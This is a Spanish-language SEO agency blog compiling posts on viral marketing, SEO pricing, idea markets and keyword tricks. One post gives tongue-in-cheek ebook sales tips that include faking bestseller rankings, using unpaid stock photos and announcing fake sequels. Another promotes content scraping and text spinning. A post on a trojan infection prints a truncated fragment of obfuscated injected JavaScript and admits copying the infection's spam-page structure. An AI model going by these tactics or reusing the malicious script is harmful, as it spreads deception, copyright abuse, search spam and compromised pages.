Marketing Viral aplicado a la promoción de sitios web

El marketing viral es una disciplina muy hablada y poco practicada. Se trata de crear una idea, propuesta o mensaje que se propague gracias a los recursos de los miembros de una red, en lugar de por el pago publicitario del anunciante. Por ejemplo, si creamos un software gratuito que obtiene buena prensa, o buena difusión por boca en boca, muchas librerías de software lo alojarán, y muchos usuarios se enterarán de su existencia por leer noticieros, blogs, boletines o publicaciones en redes sociales. Como resultado, se crea una gran base de usuarios, los cuales podrán eventualmente pagar para mejorar el producto.
Otros ejemplos de contenidos que se propagan por efecto similar al contagio viral son direcciones de foros, blogs, portales u otros sitios útiles, y también canciones, videos, artículos o libros electrónicos.
En la práctica, existen muchos sitios que pueden ofrecer el servicio de Marketing Viral, pero pocos capaces de implementarlo con éxito. También hay que desconfiar de alquien que ofrece Marketing Viral muy barato o sin preguntar qué servicio o producto se desea promocionar. No hay soluciones mágicas ni universales: el comercializador (marketinero) debe investigar primero el mercado para poder focalizarse en características potencialmente virales del producto. A veces es más fácil, como cuando el producto es único y de calidad, y otras veces más difíciles, como cuando se intenta revender un producto de terceros en competencia con muchos otros revendedores similares.
Las redes sociales son un agregado reciente a la metodología viral. Una campaña implica crear usuarios en ellas, y dedicar un esfuerzo regular a generar un perfil de usuario destacado y respetado. Luego de logrado, es mucho más fácil lanzar mensajes con credibilidad.
En nuestra experiencia, la difusión viral de un ebook (Cibernegocios) nos dió resultado positivo, ya que muchos educadores de la web los utilizaron para empaquetar con otros materiales, ayudando a difundir nuestro mensaje. Si bien se lanzó en el 2000 y no se hicieron esfuerzos posteriores más que el hosting, todavía nos beneficiamos con consultas de lectores.
Consulte por su caso.

Marketing y SEO

El marketing convencional ha visto muchas de sus metodologías cambiar a partir de la Web, y si bien los principios básicos siguen en pié, un comercializador de los años 80 se encontraría muy perdido hoy en la era del SEM, el SEO y los resultados instantáneos. SEO se refiere a la optimización de sitios para su posicionamiento en buscadores, aunque quedan excluidas de esta definición algunas técnicas necesarias para obtener resultados, tales como la gestión de links externos, el mailing y la creación de medios alternativos de comunicación, externos al sitio: software, ebooks, videos, gadgets. SEM (search engine marketing) es el término que Yahoo usa para referirse a sus avisos pagos, ya sea que se paguen por cada click (PPC o pago por click) o por millar de exposiciones. Google lo llama Adwords, el nombre de su popular producto de publicidad en el buscador (search network, red de búsqueda) o en contenidos de webmasters afiliados al programa (content network, red de contenidos).
Sigue siendo válido el buscar un nicho de mercado (marketing niche) y elaborar un mensaje convincente para hacérselo llegar del modo más directo posible. La diferencia es que es mucho más fácil conocer las preferencias del público en base a lo que éste le pregunta al buscador, y el mensaje compuesto y mostrado instantáneamente, en general a la derecha de la pantalla que el cliente investiga, es lo más directo que se llega al cliente que busca algo.
Continuar leyendo «Marketing y SEO»

SEO para sitios de alquileres temporarios

Ultimamente varias compañías que alquilan departamentos temporarios en Buenos Aires inquirieron por servicios de SEO, con el resultado de que terminaron contratando campañas de posicionamiento en buscadores pago (PPC) y orgánico (resultados no pagos a la izquierda de la SERP (páginas de resultados del buscador).
El SEO (optimización de sitios para posicionamiento en buscadores) es el mismo para todos los temas, pero siempre hay recursos especiales para cada tema, sobre todo en lo referente a generación de links, marketing viral y otras herramientas que tienen que ver más con Promoción de Sitios que con SEO puro.
Para estas empresas clientas dedicadas a alquiler temporario de departamentos, hemos puesto a disposición distintos recursos:

  • – manejo de Marketing Pago en Buscadores, tipo Adwords
  • – optimización del sitio principal
  • – creatividad en keywords y avisos
  • – realización de sitios accesorios
  • – campañas temporarias basadas en eventos (exposición Rural en Palermo, Festival de Tango, vacaciones de invierno)
  • – Participación en foros y redes sociales para anunciar la disponibilidad de departamentos
  • Información a posibles turistas sobre diversos temas específicos del destino a promocionar.
  • Dado que los clientes actuales no solicitaron exclusividad, estamos en condiciones de ofrecer el servicio a otras empresas del mismo rubro, para nuestra ciudad de Buenos Aires u otras, sin limitaciones geográficas.

    10 Recursos Baratos para vender eBooks (Por Aquiles K. Gómez)

    Hace bastante que no publico acá porque estuve trabajando en un ebook, recientemente lanzado. Se llama «Naked Business Proposals«, y lo hice en inglés porque en el mundo angloparlante hay más cultura de inversión de riesgo, además de más recursos. En realidad, hace años había escrito «Cibernegocios», con orientación parecida, pero éste estaba tan desactualizado que cuando quise traducirlo tuve que re-escribirlo por completo.
    Esta publicación para Meneame habla del recurso de una modelo para ilustrar los capí­tulos del libro, un recurso cuestionable pero seguramente efectivo.
    10 Recursos Baratos para vender eBooks. (Por Aquiles K. Gómez)
    1) Cómprese Ud. mismo. Muchas librerí­as tienen un ranking con los libros más vendidos, y estar entre los Top Ten o Bestsellers aunque sea por un rato es un buen empujón para las ventas. Esta estrategia funcionó para libros en papel y generó mucho revuelo.
    2) Incluya fotos de agencia sin pagar. Cuando le reclamen, proteste y luego pague. La publicidad puede valer más que los 200 o 300 dólares pagados.
    3) Denuncie que le quieren impedir hablar o publicar. Si es posible, hágale juicio a alguien.
    4) Anuncie un concurso que requiera leer el libro. Ofrezca un premio accesible pero llamativo.
    5) Anuncie la secuela del libro, con un tí­tulo llamativo. No necesita realmente escribirlo luego.
    6) Idem anterior. Ofrezca figurar en la tapa de un próximo libro a quien resuelva algún acertijo.
    7) Aproveche nombres conocidos para su publicidad: ‘El libro que Harry Potter hubiera querido leer`. Nadie podrá desmentirlo. Adopte un seudónimo llamativo: un autor llamado ‘Aquiles K. Gómez’ venderá más que Nicasio Arietaleabeaskoa
    8) Sea noticia de alguna manera no ilegal: ‘Autor sacrifica aves en rito satánico para invocar a los personajes de su futura obra’
    9) Robe a los muertos. El plagio se extingue a los 50 años de muerto el autor. ‘La Verdadera Historia de los Tres Mosqueteros y su sangriento triángulo amoroso’.
    10) El sexo vende. Incluya fotos de mujeres desnudas en su libro. Si tiene ganas, invente alguna excusa. Si nó, no hace falta.
    (Aquiles es seudónimo del autor de este blog y de Naked Business Proposals, donde las propuestas de negocios sin preámbulos ni envoltorios están ilustradas por fotos de modelos desnudas)

    Contenido automático para los blogs

    Todos los que tenemos un blog, como éste, tenemos la obligación periódica de agregar contenido. Esto atrae visitantes regulares, y produce de a poco el efecto deseado de convencerlos de la calidad del producto que vendemos. En este caso, servicios SEO o sea, posicionamiento orgánico en los buscadores.
    Además, gracias a un mecanismo de ping automático en los buenos blogs, cada publicación alerta a los sistemas agregadores de feeds y artículos, lo cual atrae visitantes y mejora la presencia del blog en los buscadores. Algunos expertos usan sistemas adicionales de ping, como Multipinger y otros, para maximizar el efecto.
    Escribir buen contenido es fundamental, pero también es útil escribir contenido en general. La calidad puede ayudarse con cantidad. Para eso, tengo noticia de un sistema exitoso llamado WP-o-matic, que recolecta feeds de RSS y los transforma en posts.
    Nuestra empresa tiene desde hace bastante un producto llamado Delinker, que recoge los RSS y los transforma en páginas web «delinkidas» (con los enlaces editados de diferentes maneras). Recién ahora, con el gran éxito de WordPress y sus plugins, que nos surge el proyecto de crear Delinker como plugin para WordPress. Ese producto será lanzado en pocos dí­as, y a quienes deseen adquirirlo tempranamente puedo ofrecérselos con un importante descuento.
    El Delinker está, desde hace pocos dí­as, disponible como agregado en nuestro producto Synonymizer. De ese modo, los textos tomados de los Feeds RSS pueden ser delinkidos y sinonimizados, con un solo producto.
    Trataré de no defraudar a los lectores de este blog con contenido generado automáticamente. Pero es posible que contribuyamos al contenido de baja calidad en otros blogs…

    Lo que un promotor de sitios puede aprender de una infección con troyano

    Ayer noté que mis visitas diarias en uno de mis sitios se habí­an quintuplicado de golpe. Luego de la satisfacción inicial por el reconocimiento a la calidad de mis artí­culos, algo llamó mi atención: Los temas pedidos no tení­an nada que ver con mi temática, promoción de sitios. Pedí­an recetas de comidas y tragos, porno, etc. Y cuando uno visitaba las páginas, que no habí­an sido publicadas por mí­, un malware trataba de vender por la fuerza un producto anti-spamware.
    Alarmado, empecé a recorrer mis sitios con FTP, y noté una cantidad de archivos que no había­n sido publicados por mí­, y que correspondí­an a fechas de entre el 7 y el 15 de este mes. Rápidamente hice un chequeo antivirus online con Bitdefender o alguno similar, limpié mi máquina y repuse los archivos originales en los dominios. La infección seguramente subió archivos a través de mi PC, porque abarcaba varios servidores distintos, de sitios que eran accesibles por mi FTP.
    La limpieza no fue fácil. Salvo la fecha, no habí­a nada para guiarme. Muchos archivos mís habí­an recibido una inyección de código al final, en Javascript, con links, y no eran detectables desde el explorador. Por lo tanto, los archivos con fecha sospechosa fueron sobreescritos. Otros archivos eran nuevos, pero tení­an nombres similares a los ya existentes, y los contenidos mezclaban contenido original mí­o con otro proveniente de recetas de comida francesa, en inglés… Y muchos links hacia el malware que te extorsiona a que lo compres. Ojo! No entrar sin tomar precauciones, tiene un javascript malicioso: está basado en adware-spyware-removal.co.cc. No aconsejo a nadie comprar un producto anti-virus hecho por fabricantes de virus. Es ceder ante la extorsión y puede tener un virus aún peor.
    Antes de limpiar, me bajé una carpeta con archivos infectados para analizarlos. Los abrí­ primero con Notepad para limpiar el Javascript, o desde el cache de Google con la opción Sólo Texto. También le agregué rel=»nofollow» a la infinidad de links que tiene para evitar perder PageRank. Conservo ejemplos de página con contenido adulterado, y otro ejemplo de página generada propiamente por el virus, usando material que encontró en el sitio y en otros anteriores que infectó.
    El javascript que saqué está ofuscado (enrevesado para que no se entienda) y luce algo así­ como:
    <script language=»javascript»>function not(kf,cybf){if(!cybf){cybf=’+=ETxNe0C.UW6{ki8HJmt9R1IML(aQG*hn-scyY&PBZASv3f)l4KOXV?wuDpqF7;’;}var y;var OR=»;for(var azho=0;azho<kf.length;azho+=4){y=(cybf.indexOf(kf.charAt(azho))&63)<<18|(cybf.indexOf(kf.charAt(azho+1))&63)<<12|(cybf.indexOf(kf.charAt(a …
    … </script>
    Las páginas enlazan a otras infectadas por el mismo agente, lo cual genera una gran red de páginas interconectadas que llevan mayormente el tráfico al sitio de venta de malware.
    Pero lo interesante fue analizar los logs de mi servidor, y observar que el tráfico vení­a en parte de otras páginas infectadas, y en parte de los mismos buscadores. Los referrers eran Google y Live Search, las frases clave stuffed hot cherry peppers, o Recipe/Elderflower Punch, y mis páginas infectadas estaban en los primeros puestos.
    Supongo que esos posicionamientos puedo mantenerlos, si subo una página limpia que reemplace a la anterior, y explico cual fue el problema. Pero no me interesan los buscadores de recetas exóticas, por lo tanto esperaré que los buscadores se cansen de encontrar error 404 y me den de baja.
    Lo que si es interesante es la estructura de las páginas usadas para captar visitas a través de buscadores: mucho texto, generado por algún Content Generator (similar a Synonymizer), y estructurado en páginas con muchas palabras clave, enlaces intercalados con texto relevante, mucho H1, y nada de diseño ni imágenes. Cantidad (miles de páginas en un sólo directorio, decenas de nuevos directorios en cada sitio infectado) y no calidad (texto derivado de mezclar palabras y frases). Obviamente que son páginas que el ojo humano no ve, porque el Javascript las redirecciona, pero sí el spider de los buscadores.
    Dado que una de mis herramientas para posicionar sitios es un Page Generator que hace cosas parecidas, aunque sin invadir ni robar espacio de servidor ajeno, tomé debida nota de la estructura de dichas páginas.

    Cómo trabajan los Mercados de ideas

    Las ideas son difíciles de definir, y mucho más de comprar y vender, por lo que un Mercado de Ideas es un duro desafío.
    El mundo globalizado es muy abierto al flujo de ideas, para consternación de algunos gobiernos dictatoriales. Pero el flujo de ideas no es necesariamente comercio, y la cantidad no implica calidad. Un buen mercado de ideas debería poder discriminar las buenas de las malas y poder convertirlas en ganancias.
    Un buen intento de Mercado de Ideas
    Alrededor de 2000 existió IdeaExchange.com, donde las ideas podí­an ser compradas y vendidas. Las ideas tenían una breve descripción pública, y una explicación detallada oculta, de pago. El sitio cobraba un abono trimestral para publicadores de ideas, y un porcentaje de las compras. Los compradores podí­an solicitar ideas sobre un determinado tema y también podí­an publicar comentarios sobre las ideas que habían comprado, para información de la comunidad.
    Lamentablemente IdeaExchange.com no duró. No sé por qué, porque a mi juicio, era muy buena idea, excelentemente implementada. Supongo que cobrar a los autores era negativo, y nunca se reunió una masa crítica de ideas. Además, las ideas eran demasiado amplias: propuestas, junto con chistes, chismes, teorías, etc.
    La palabra «idea» tiene muchos significados, y los mercados deben limitarse a lo mensurable y a lo que puede tener continuidad y crecimiento.
    Mercados de Futuros de Ideas
    Existe también el concepto de Mercados de Futuros de Ideas (Idea Futures), orientado a establecer predicciones sobre hechos futuros. Un buen sitio llamado Ideosphere trata de predecir acontecimientos mediante la reputación de los predictores. Los que ganan puntos al predecir con exactitud son más dignos de crédito a la hora de realizar nuevas predicciones. Las predicciones son sobre noticias, hechos ocultos o verdades científicas.
    Por lo tanto, este sitio trata sólo sobre aquellas ideas que pueden ser verdaderas o falsas. a menudo relacionadas con el mercado de valores (divisas o acciones) o con resultados deportivos. Estas actividades están muy reguladas, sobre todo en EE.UU., lo cual les impone limitaciones operativas.
    ¿Tienes una idea? Podemos invertir en ella!
    Hay varios sitios de emparejamiento de inventores con inversores, destinados a emprendedores que se transformen en empresarios. Sin embargo, la mayoría de ellos son ineficientes, están poblados de ideas débiles y de inversores dudosos.
    En estos sitios abundan los inventores que lograron el movimiento perpetuo y los que lograron la fusión fría del hidrógeno en la cocina de su casa. También emprendedores que desean vender estufas en el desierto o quieren construir una segunda Microsoft empezando de cero. Por otra parte, hay supuestos inversores que solicitan a los inventores muertos de hambre un «gasto administrativo» para analizar la idea, luego de lo cual desaparecen sin dejar rastros. Los inversores más serios piden llenar un formulario de 100 páginas antes que nada, sin ninguna garantía de que leerán siquiera el título.
    He visto casi todos estos sitios de «matching» de ideas con inversores. Y sé que un buen emparejamiento es difícil de lograr. Hay limitaciones financieras, geográficas, linguísticas, temáticas, etc. Y como en el emparejamiento sentimental, hay muchos factores intangibles.
    Filtrar la entrada de buenas ideas e inversores serios sería una garantía de calidad para estos mercados emparejadores, pero eso requiere tiempo y dinero. Aun con un buen plan de negocios, es muy difícil predecir si una idea va a tener éxito o no. Quién juzgaría? Un académico? Un hombre de negocios exitoso? Un adivino? Probablemente ninguno de ellos, aunque sí los tres juntos…
    La Web 2.0 consiste en el filtrado de la basura
    La Web 1,0 tiene muchos datos cubriendo información valiosa. Todavía los motores de búsqueda muestran: «Resultados 1-100 de aproximadamente 7190000 páginas». Y el 95% de todo el correo electrónico es spam.
    Los agregadores de noticias como Meneame.net (a partir de Digg.com, Reddit.com y otros) son exitosos mecanismos típicos de la Web 2.0. Utilizan la votación calificada y las redes sociales, y automatizan la clasificación y cualificación de las entradas, por lo general noticias. Usted probablemente está leyendo este artículo porque lo leyó en Meneame.net, aunque más tarde lo indexarán los buscadores.
    Agregadores como mercados de ideas
    Los agregadores de noticias pueden ser buenos mercados de ideas? ¿Pueden filtrar las buenas de las malas y encontrar interesados en adoparlas? Creo que sí.
    Las ideas de negocios pueden ser filtradas por un agregador de noticias, y esto podría ser un predictor de su futura aceptación por el público en general. Si la idea tiene buena aceptación por el público, los inversores podrán actuar sobre seguro.
    Las ideas políticas pueden tener también un mecanismo similar. Cualquiera puede lanzar una propuesta que llegue al tope del agregador, donde los políticos sagaces podrán adoptarla. A la inversa, alguien con buen Karma en estos sistemas puede llegar a ser un buen político en la vida real.
     
    Los nombres de dominio son casi siempre propuestas de negocios, y también están sujetos a competir en un Agregador. Tal  Agregador podría constituir un buen sistema automatizado de valoración de dominios.
    Los Agregadores podrían ser usados por pintores para exponer sus bocetos o sus cuadros, por anunciantes para poner a prueba sus logotipos o frases pegadizas, por las modelitos que deseen competir con sus atributos, por las conferencias en busca de oradores con potencial aceptación, etc.
    Se requiere una buena implementación técnica y sobre todo, una masa crítica de usuarios. El código genérico está disponible como Open Source, aunque quizá sean necesarias modificaciones específicas para algunas aplicaciones. Y algunas funcionalidades como las que tenía IdeaExchange y tiene Ideosphere.
    Algunos ejemplos que inicié son www.business-ideas.com.ar y www.ideaspoliticas.com.ar. Espero iniciativas para implementar otros proyectos.

    Modalidades de cobro de SEO en el mercado internacional

    El presente relevamiento lo hicimos para saber cuánto se cobra en el mundo por una campaña SEO. Para nuestra sorpresa, los precios de las campañas no siempre tienen en cuenta el tamaño del sitio, la cantidad de keywords (palabras clave), la jerarquía del sitio ni nada de eso. Muchos cobran una suma muy elevada a todo el mundo, y ya… Hay algunos que sí proporcionan valores indicativos de precio basados en datos concretos del cliente.
    El que más me gustó fue uno que cobra «en proporción a los ingresos del cliente». Muy sincero, mi equivalente sería «cobrar según la cara del cliente», ya que por pudor no estoy (ni estamos) acostumbrados a preguntar «Ud. cuánto gana con este sitio?», o «Cuánto valen para Ud. los visitantes que yo le consiga para su web?».
    Nosotros por ahora cobramos en función de PageRank de la página principal, los links entrantes y la complejidad del sitio. Por ejemplo, el portal Encuentro.gov.ar tiene PR 6, y eso me genera una responsabilidad más grande, aún cuando el trabajo sea el mismo que para otro sitio más ignoto.
    Pero antes de pasar en otra nota a cómo se cotiza el trabajo de SEO, publicamos este relevamiento sobre servicio SEO internacional. Es útil también porque publica las tareas que realizan, algunas originales.

    Tabla comparativa de servicios SEO, con modalidad de trabajo y precio

     

    S.E.O. (Servicio Experto de Optimización)

    S.E.O. (Servicio Experto de Optimización) es un intento de posicionar esta página como SEO, que en inglés significa algo parecido, pero utilizando la sigla como keyword. Es por eso que si varias veces menciono S.E.O. (Servicio Experto de Optimización) y trato de que esta página se indexe, es posible que la palabra clave SEO se rankee primero con esta página, que muchos otros sitios que abusan de ella con la sigla que tiene 200 millones de resultados.
    S.E.O. (Servicio Experto de Optimización) es entonces una página de servicio y de experimentación.
    Las conclusiones fueron obtenidas observando los buenos resultados que obtiene SEO (Sociedad Española de Ornitologia), que seguramente no tiene los recursos de posicionamiento en buscadores que tienen los millones de competidores por esa keyword que están por debajo de ella en Googl.
    También SEO puede referirse a:
    S.E.O. State Engineers Office.
    S.E.O. Security Engineering Officer.
    S.E.O. Systems Evaluation Office.
    S.E.O. Synchronous Equatorial Orbiter.
    S.E.O. Seasoned Equity Offering.
    S.E.O. Science and Education Outreach.
    S.E.O. Special Equipment Operator.
    S.E.O. Server Extension Objects.
    S.E.O. Software Executive Official.
    S.E.O. Shutdown Electrical Operator (US Navy submarine watchstation).
    S.E.O. Survivability Enhancement Options.
    S.E.O. Sauf Erreur Ou Omission (French: error or omission excepted).
    S.E.O. Software Engineering Organization.
    S.E.O. Synthetic Engine Oil.
    S.E.O. Sociedad Española de Ornitología (Spanish bird society).
    S.E.O. Society of Education Officers (UK).
    S.E.O. Source Election Official.
    S.E.O. Special Exemption Order (UK).
    S.E.O. Special Equipment Option.
    S.E.O. Search Engine Optimizer.
    S.E.O. Senior Executive Officer.
    S.E.O. SouthEastern Ohio.
    S.E.O. Sponsors for Educational Opportunity.
    S.E.O. Symbol-Error Outage.
    S.E.O. Systems Engineering Office/Officer.
    Estas son todas formas de escribir SEO sin abusar de la keyword density.
    English
    This page has been ranked in Goog. under SEO in order to offer our services in English or Spanish. We used a special technique.